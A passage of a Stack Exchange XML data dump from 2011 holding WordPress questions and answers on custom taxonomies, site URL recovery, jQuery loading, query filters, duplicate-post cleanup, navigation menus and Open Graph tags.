&lt;code&gt;front-page.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    $term = get_term_by('slug', get_query_var('term'), get_query_var('taxonomy'));&#xA;    query_posts(array('post_type' =&amp;gt; 'portfolio', 'skills' =&amp;gt; $term-&amp;gt;slug, 'posts_per_page' =&amp;gt; -1));&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_template_part('loop-portfolio');  // Loop template for portfolio (loop-portfolio.php) ?&amp;gt;&#xA;&amp;lt;?php  wp_reset_query(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my custom post/taxonomy setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'register_my_taxonomies', 0 );&#xA;&#xA;function register_my_taxonomies() {&#xA;&#xA;register_taxonomy(&#xA;    'skills',&#xA;    'portfolio',&#xA;    array(&#xA;        'label' =&amp;gt; __('Portfolio Categories'),&#xA;        'singular_label' =&amp;gt; __('Portfolio Category'),&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;    )&#xA;);&#xA;&#xA;register_post_type(&#xA;    'portfolio',&#xA;    array(&#xA;        'label' =&amp;gt; __('Portfolio'),&#xA;        'singular_label' =&amp;gt; __('Work'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; 3,&#xA;        'taxonomies' =&amp;gt; array('portfolio'),&#xA;        'supports' =&amp;gt; array('title', 'editor', 'author', 'excerpt', 'page-attributes', 'thumbnail','custom-fields'),&#xA;        '_builtin' =&amp;gt; false, // It's a custom post type, not built in!&#xA;));&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what is jamming me up?&lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-08-08T15:59:07.170" LastActivityDate="2011-08-08T16:02:22.330" Title="Filtering front page by custom taxonomy using slug" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;slug&gt;&lt;frontpage&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="25271" PostTypeId="1" AcceptedAnswerId="25275" CreationDate="2011-08-08T03:51:39.880" Score="0" ViewCount="27" Body="&lt;p&gt;I have change the main URL of my wordpress theme.&#xA;I accessed &lt;code&gt;Admin area =&amp;gt; Settings =&amp;gt; and change my URL from : &#xA;www.sampleURL.com to www.sampleURL.com/?page_id=2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now every time I enter &lt;code&gt;www.sampleURL.com/wp-admin&lt;/code&gt; i get directed to &lt;code&gt;www.sampleURL.com/?page_id=2&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="6462" LastActivityDate="2011-08-08T05:42:06.637" Title="I can't access my admin page after changing main url" Tags="&lt;wp-admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25272" PostTypeId="2" ParentId="25269" CreationDate="2011-08-08T03:59:23.800" Score="2" ViewCount="" Body="&lt;p&gt;I recently was dealing with the exact same problem.  I didn't solve it, and we decided that since people had to pay a relatively large sum for their listings that they would be sufficiently incented not to post bad stuff.  Plus it would be a pain to manually approve each one -- people don't like waiting a day to get results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we gave our &lt;code&gt;directory_member&lt;/code&gt; user level the &lt;code&gt;publish_posts&lt;/code&gt; and &lt;code&gt;edit_published_posts&lt;/code&gt; capabilities from the start.  They have to go through the payment process before the post is published; once they've paid they can do anything they want with their post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I had a brainwave (rare) looking at your question.  I think where I went wrong is only have one &lt;code&gt;directory_member&lt;/code&gt; level, rather than &lt;code&gt;directory_member&lt;/code&gt; and &lt;code&gt;directory_member_approved&lt;/code&gt;.  The latter would have the &lt;code&gt;edit_published_posts&lt;/code&gt; capability; the former would not. It would be relatively simple to bump the user up when an admin publishes the post for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other possibility is assigning the &lt;code&gt;edit_published_posts&lt;/code&gt; capability on the fly based on a user meta field, in &lt;code&gt;admin_init&lt;/code&gt; or somewhere.  But somehow I suspect the idea of having two explicit levels is better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know what you end up doing.  &lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-08T03:59:23.800" CommentCount="2" />
  <row Id="25273" PostTypeId="1" CreationDate="2011-08-08T04:27:07.700" Score="1" ViewCount="66" Body="&lt;p&gt;How to check if jQuery library exist in head tags?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;script type=&quot;javascript/text&quot; src=&quot;http://code.jquery.com/jquery-1.6.2.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if not exist how do I load in head tags the jquery library, I'm doing a plugins and I want to load my plugins script in jQuery and also do able to check if jQuery library exist so my jQuery script will run&lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2011-08-08T14:37:37.007" Title="Check if jquery library exist" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="25274" PostTypeId="2" ParentId="25273" CreationDate="2011-08-08T04:42:20.890" Score="3" ViewCount="" Body="&lt;p&gt;scripts and styles should never be embedded directly in themes or templates because of potential conflicts between plugins and themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use jQuery in a plugin or theme it should be enqueued with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp enqueue script&lt;/a&gt;. This will make sure it's added only once, and any scripts that define it as a dependency will load after.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-08T04:42:20.890" CommentCount="2" />
  <row Id="25275" PostTypeId="2" ParentId="25271" CreationDate="2011-08-08T05:29:27.120" Score="1" ViewCount="" Body="&lt;p&gt;Not sure why you would want to make that change, but if worst comes to worst, you can change it back via the database. Assuming you can access your MySQL database directly, simple navigate to the wp_options table and change the value of &lt;code&gt;siteurl&lt;/code&gt; and/or &lt;code&gt;home&lt;/code&gt; to your desired values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Alternatively, if you can access your code, in the theme's functions.php file, add the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option( 'siteurl', 'http://sampleURL.com' );&#xA;update_option( 'home', 'http://sampleURL.com' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, swap &lt;a href=&quot;http://sampleURL.com&quot; rel=&quot;nofollow&quot;&gt;http://sampleURL.com&lt;/a&gt; with your URL. Then refresh the home page of your site a couple times. Once everything is back to normal, remove this code.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastEditorUserId="7435" LastEditorDisplayName="" LastEditDate="2011-08-08T05:42:06.637" LastActivityDate="2011-08-08T05:42:06.637" CommentCount="8" />
  <row Id="25276" PostTypeId="2" ParentId="25270" CreationDate="2011-08-08T05:33:27.507" Score="0" ViewCount="" Body="&lt;p&gt;In your call to register_taxonomy, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'skills' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure to update your permalinks as well.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-08T05:33:27.507" CommentCount="1" />
  <row Id="25277" PostTypeId="2" ParentId="22407" CreationDate="2011-08-08T05:50:41.930" Score="1" ViewCount="" Body="&lt;p&gt;Are the passwords you create for each post going to be unique? If not, how will you be able to identify which post a user is looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are keeping each password unique, I would store the password as post-meta. You could create a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;custom meta box&lt;/a&gt; which allows for entry/storage of the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when a user enters the password on the home page:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sanitize the user input (Duh!)&lt;/li&gt;&#xA;&lt;li&gt;Run a custom query using &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;. In this query you can use the meta_query argument to search for posts that have the password entered by the user.&lt;/li&gt;&#xA;&lt;li&gt;Load and display the required post.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-08T05:50:41.930" />
  <row Id="25278" PostTypeId="2" ParentId="25266" CreationDate="2011-08-08T06:19:04.880" Score="1" ViewCount="" Body="&lt;p&gt;Quite frankly I think we lost the war long ago on spammers GETTING our email addresses.  There are just too many ways that they get them and our friends just give them away too (naively and innocently of course). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take the approach that it is more important to be easily contactable by those I need/want to contact me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then concentrate on good trapping and blocking of spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gmail is pretty good actually - traps pretty much all spam/junk and only the very occasional false positive.  (I use my domain name with gmail and imap to local thunderbird for own backups so if gmail ever fails, I just work direct with my domain.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do a quick visual scan of the junk folder every day or so just in case we miss something important and to keep tabs on volume / type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it has not been so bad lately.  See &lt;a href=&quot;http://www.kaspersky.com/au/news?id=207576320&quot; rel=&quot;nofollow&quot;&gt;http://www.kaspersky.com/au/news?id=207576320&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-08T06:19:04.880" />
  <row Id="25279" PostTypeId="1" CreationDate="2011-08-08T06:55:48.843" Score="0" ViewCount="40" Body="&lt;p&gt;I am trying to add and remove multiple &lt;code&gt;post_where&lt;/code&gt; filters for multiple queries inside a tabbed widget.  All 3 queries are returning same results even when removing the filter after the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The widget options are to show posts ranging from current date back with different date ranges in each tab ordered by comment count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 sections like this inside the &lt;code&gt;function widget()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function kmd_third_filter_where( $where = '' ) {&#xA;    global $instance;&#xA;    $today = date( 'Y-m-d');&#xA;    $date = $instance['third_date'];&#xA;    $where .= &quot; AND post_date &amp;gt;= '$date' AND post_date &amp;lt; '$today' &quot;;&#xA;    return $where;&#xA;    }&#xA;&#xA;    add_filter( 'posts_where', 'kmd_third_filter_where' ); &#xA;    $query_args = array(&#xA;        'orderby'   =&amp;gt; 'comment_count',&#xA;        'order'     =&amp;gt;'DESC',&#xA;        'posts_per_page' =&amp;gt;  $instance[ 'show_posts' ]&#xA;        );&#xA;&#xA;    $third_query = new WP_Query( $query_args ); ?&amp;gt;&#xA;        &amp;lt;div id=&quot;tabs-3&quot; class=&quot;ui-tabs-hide&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;sidebar-tabs&quot;&amp;gt;&#xA;            &amp;lt;?php while ( $third_query-&amp;gt;have_posts() ) : $third_query-&amp;gt;the_post();  ?&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php remove_filter( 'posts_where', 'kmd_third_filter_where' ); &#xA;    wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Udate:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The problem is not with the &lt;code&gt;posts_where&lt;/code&gt; filter because it works if I manually add the dates and when I debug the date variables are turning up blank inside the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is passing the widget options inside the filter function.  I can echo out any of the variables throughout the widget but they return blank inside the filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function kmd_first_filter_where( $where = '' ) {&#xA;    global $instance;&#xA;    $where .= &quot; AND post_date &amp;gt;=  '&quot;. $instance['first_date'].&quot;'  &quot;;&#xA;    return $instance;&#xA;    return $where;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-08T20:27:23.847" LastActivityDate="2011-08-08T20:27:23.847" Title="Returning widget option variables in filter" Tags="&lt;plugin-development&gt;&lt;widgets&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25280" PostTypeId="2" ParentId="25268" CreationDate="2011-08-08T07:54:57.413" Score="0" ViewCount="" Body="&lt;p&gt;Add the following code to your style.css to remove the margin on top&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#page {&#xA;    margin-top: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7721" LastActivityDate="2011-08-08T07:54:57.413" />
  <row Id="25281" PostTypeId="1" AcceptedAnswerId="25282" CreationDate="2011-08-08T08:02:11.867" Score="0" ViewCount="24" Body="&lt;p&gt;Im using this code to prevent duplicate post from being added but i also need to prevent duplicate pages too. Can Someone please help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function clearDuplicatePosts(){&#xA;    global $wpdb;&#xA;    $prefix = $wpdb-&amp;gt;prefix;&#xA;    $wpdb-&amp;gt;query(&quot;DELETE bad_rows . * FROM &quot;.$prefix.&quot;posts AS bad_rows INNER JOIN (&#xA;    SELECT &quot;.$prefix.&quot;posts.post_title, MIN( &quot;.$prefix.&quot;posts.ID ) AS min_id&#xA;    FROM &quot;.$prefix.&quot;posts&#xA;    GROUP BY post_title&#xA;    HAVING COUNT( * ) &amp;gt;1&#xA;    ) AS good_rows ON ( good_rows.post_title = bad_rows.post_title&#xA;    AND good_rows.min_id &amp;lt;&amp;gt; bad_rows.ID )&quot;);&#xA;} &#xA;add_action('publish_post', 'clearDuplicatePosts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-08T08:14:57.890" LastActivityDate="2011-08-08T08:18:01.880" Title="Prevent duplicate pages from being added" Tags="&lt;posts&gt;&lt;multisite&gt;&lt;pages&gt;&lt;query&gt;&lt;duplicates&gt;" AnswerCount="1" />
  <row Id="25282" PostTypeId="2" ParentId="25281" CreationDate="2011-08-08T08:18:01.880" Score="1" ViewCount="" Body="&lt;p&gt;you can use the same function simply hook it to the &lt;code&gt;publish_page&lt;/code&gt; hook&#xA;or any custom post type for that matter &lt;code&gt;publish_{post type name}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so just add :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('publish_page', 'clearDuplicatePosts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-08T08:18:01.880" CommentCount="1" />
  <row Id="25283" PostTypeId="2" ParentId="25279" CreationDate="2011-08-08T08:31:02.033" Score="0" ViewCount="" Body="&lt;p&gt;Quick guess is that &lt;code&gt;$instance&lt;/code&gt; in your filter not declared as global or class field. So it turns out like &quot;where date is larger than nothing&quot; or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you get any warnings on this with &lt;code&gt;WP_DEBUG&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-08T08:31:02.033" CommentCount="1" />
  <row Id="25284" PostTypeId="1" CreationDate="2011-08-08T08:36:16.740" Score="0" ViewCount="64" Body="&lt;p&gt;I'm using the built in menu manager to create my menues and I disaply them by using &lt;code&gt;wp_nav_menu()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering, is it possible to remove certain menu items from being displayed based on some specific condition?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-08T19:13:16.027" Title="How can I remove a menu item programmatically?" Tags="&lt;menus&gt;" AnswerCount="4" />
  <row Id="25285" PostTypeId="2" ParentId="25284" CreationDate="2011-08-08T08:47:10.443" Score="1" ViewCount="" Body="&lt;p&gt;Instead of using &lt;code&gt;wp_nav_menu()&lt;/code&gt;, you can try using &lt;code&gt;wp_get_nav_menu_items&lt;/code&gt; which will return a list of menu items, then you can have conditional statements to pick an choose which to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7724" LastActivityDate="2011-08-08T08:47:10.443" CommentCount="1" />
  <row Id="25286" PostTypeId="2" ParentId="25284" CreationDate="2011-08-08T08:59:57.007" Score="0" ViewCount="" Body="&lt;p&gt;if our menu is pages you can use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_pages#Exclude_Pages_from_List&quot; rel=&quot;nofollow&quot;&gt;Exclude Pages from List&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use the id of pages sepearated b comma&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php wp_list_pages('exclude=17,38' ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Appearance -&gt; Menu and then from there click  &quot;Create Menu&quot; then add menus that you want to include and you can set a Location for menus with this code below try to explore&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="420" LastEditorUserId="420" LastEditorDisplayName="" LastEditDate="2011-08-08T09:32:31.957" LastActivityDate="2011-08-08T09:32:31.957" CommentCount="3" />
  <row Id="25287" PostTypeId="2" ParentId="25268" CreationDate="2011-08-08T09:15:51.197" Score="-1" ViewCount="" Body="&lt;p&gt;Just go to your user profile in your admin dashboard and see &lt;code&gt;Show Admin Bar&lt;/code&gt; and unchecked the &lt;code&gt;&quot;when viewing site&quot;&lt;/code&gt; and click &lt;code&gt;&quot;update profile&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2011-08-08T09:15:51.197" />
  <row Id="25288" PostTypeId="1" CreationDate="2011-08-08T09:40:12.850" Score="1" ViewCount="45" Body="&lt;p&gt;Does anyone know a way (either programmatically or plugin) to assign tags to users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to build a list of user interests as tags so I can match related content to their interests?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris.&lt;/p&gt;&#xA;" OwnerUserId="7726" LastActivityDate="2011-08-08T10:40:59.970" Title="Assigning tags to user?" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="25289" PostTypeId="2" ParentId="24574" CreationDate="2011-08-08T09:46:42.717" Score="0" ViewCount="" Body="&lt;p&gt;I used jQuery(domChunk).bind&#xA;instead. This seems to work.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-08-08T09:46:42.717" />
  <row Id="25290" PostTypeId="2" ParentId="25288" CreationDate="2011-08-08T10:40:59.970" Score="1" ViewCount="" Body="&lt;p&gt;I think this is what you are looking for:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_user_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/update_user_meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a example of how this can be achieved: &lt;a href=&quot;http://inchoo.net/wordpress/programatically-add-metadata-to-user-accounts-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://inchoo.net/wordpress/programatically-add-metadata-to-user-accounts-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-08T10:40:59.970" CommentCount="6" />
  <row Id="25291" PostTypeId="1" CreationDate="2011-08-08T11:18:11.277" Score="0" ViewCount="25" Body="&lt;p&gt;Uploading an image to add to a page, I got a message saying: Unable to create directory... Is its parent directory writable by the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the issue is that the parent directory needs to be made writable by the server, how do I make the parent directory writable by the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-08T19:05:52.793" Title="Making a parent directory writable by the server" Tags="&lt;images&gt;&lt;server&gt;&lt;uploading&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25292" PostTypeId="1" CreationDate="2011-08-08T11:44:52.417" Score="0" ViewCount="6" Body="&lt;p&gt;I'm looking for a very simple audio plugin (only used for mp3 files) which doesn't use [audio....] shortcode in the editor for display, but fully shows the audio player already in the wordpress editor. My client is heavily reliant on audio for his weblog and had many difficulties to properly apply the layout he wants to. Since the player itself does not show up in the editor yet, but only on the live page he spends a long time just pragmatically entering white space/returns in order for the layout to be the way he wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried most popular plugins, but none so far has this ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-08-08T11:44:52.417" Title="Audio plugin which shows audio player already in editor" Tags="&lt;plugins&gt;&lt;shortcode&gt;&lt;post-editor&gt;&lt;audio&gt;" />
  <row Id="25293" PostTypeId="2" ParentId="21962" CreationDate="2011-08-08T11:49:04.100" Score="0" ViewCount="" Body="&lt;p&gt;From you are describing, it might be worth investigating custom-post types. You can actually create a separate menu tab on the left column - ergo separate your posts accordingly in a similar layout as Posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Types&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7244" LastActivityDate="2011-08-08T11:49:04.100" />
  <row Id="25294" PostTypeId="2" ParentId="13319" CreationDate="2011-08-08T12:25:46.623" Score="0" ViewCount="" Body="&lt;p&gt;Yes, you can disable specific plugins or scripts form appearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example how &lt;a href=&quot;http://stackoverflow.com/questions/6774424/wordpress-disable-plugin-on-specific-pages-posts/6981957#6981957&quot;&gt;I disabled the easy fancybox plugin from appearing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="7515" LastActivityDate="2011-08-08T12:25:46.623" />
  <row Id="25295" PostTypeId="2" ParentId="21260" CreationDate="2011-08-08T12:28:23.157" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can disable specific plugins or scripts form appearing in certain pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example how &lt;a href=&quot;http://stackoverflow.com/questions/6774424/wordpress-disable-plugin-on-specific-pages-posts/6981957#6981957&quot;&gt;I disabled the easy fancybox plugin from appearing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="7515" LastActivityDate="2011-08-08T12:28:23.157" />
  <row Id="25296" PostTypeId="2" ParentId="24710" CreationDate="2011-08-08T12:30:40.003" Score="0" ViewCount="" Body="&lt;p&gt;Yes, you can disable specific plugins or scripts form appearing on certain pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this example how &lt;a href=&quot;http://stackoverflow.com/questions/6774424/wordpress-disable-plugin-on-specific-pages-posts/6981957#6981957&quot;&gt;I disabled the easy fancybox plugin from appearing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="7515" LastActivityDate="2011-08-08T12:30:40.003" />
  <row Id="25297" PostTypeId="1" CreationDate="2011-08-08T12:48:48.550" Score="0" ViewCount="49" Body="&lt;p&gt;currently I m showing post image and it's exceprt on my index page of website. Beacuse of this site is slow downs as each image is passed to timthumb.php file. I want to change in code so that image is displayed direct without passing to timthumb.php file for resizing. Is there any way to achieve this?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance..&lt;/p&gt;&#xA;" OwnerUserId="7050" LastActivityDate="2011-08-08T14:31:12.520" Title="how to show images without passing it to timthumb.php file for resizing" Tags="&lt;php&gt;&lt;images&gt;&lt;timthumb&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="25298" PostTypeId="1" AcceptedAnswerId="25299" CreationDate="2011-08-08T12:58:37.283" Score="0" ViewCount="39" Body="&lt;p&gt;example page;&#xA;&lt;a href=&quot;http://www.c-art.org.uk/2011/07/01/jenny-abbot/&quot; rel=&quot;nofollow&quot;&gt;http://www.c-art.org.uk/2011/07/01/jenny-abbot/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some reason the gravatar image is overwriting the posts featured image thumb (100x100). Nnot sure how its doing it! How can i get rid of it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:title&quot; content=&quot;Jenny Abbot&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;C-Art — Cumbria Artist Open Studios, Jenny Abbot Artist Index PaintingC-Art&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;http://c-art.modernactivity.co.uk/?p=1254&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://www.c-art.org.uk/wp-content/uploads/Summer-at-Sea-Wood-100mm-100x100.jpg&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;C-Art&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best, dc.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-08-08T13:14:05.860" Title="open graph image being overwritten by gravatar logo?" Tags="&lt;facebook&gt;&lt;sharing&gt;" AnswerCount="1" />
  <row Id="25299" PostTypeId="2" ParentId="25298" CreationDate="2011-08-08T13:14:05.860" Score="1" ViewCount="" Body="&lt;p&gt;I can't see a Facebook share button on &lt;a href=&quot;http://www.c-art.org.uk/2011/07/01/jenny-abbot/&quot; rel=&quot;nofollow&quot;&gt;the page you are talking about&lt;/a&gt;, but I ran this through &lt;a href=&quot;http://developers.facebook.com/tools/lint/?url=http://www.c-art.org.uk/2011/07/01/jenny-abbot/&quot; rel=&quot;nofollow&quot;&gt;Facebook Lint&lt;/a&gt; and it appears that your Open Graph meta tags are working correctly.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-08T13:14:05.860" CommentCount="2" />
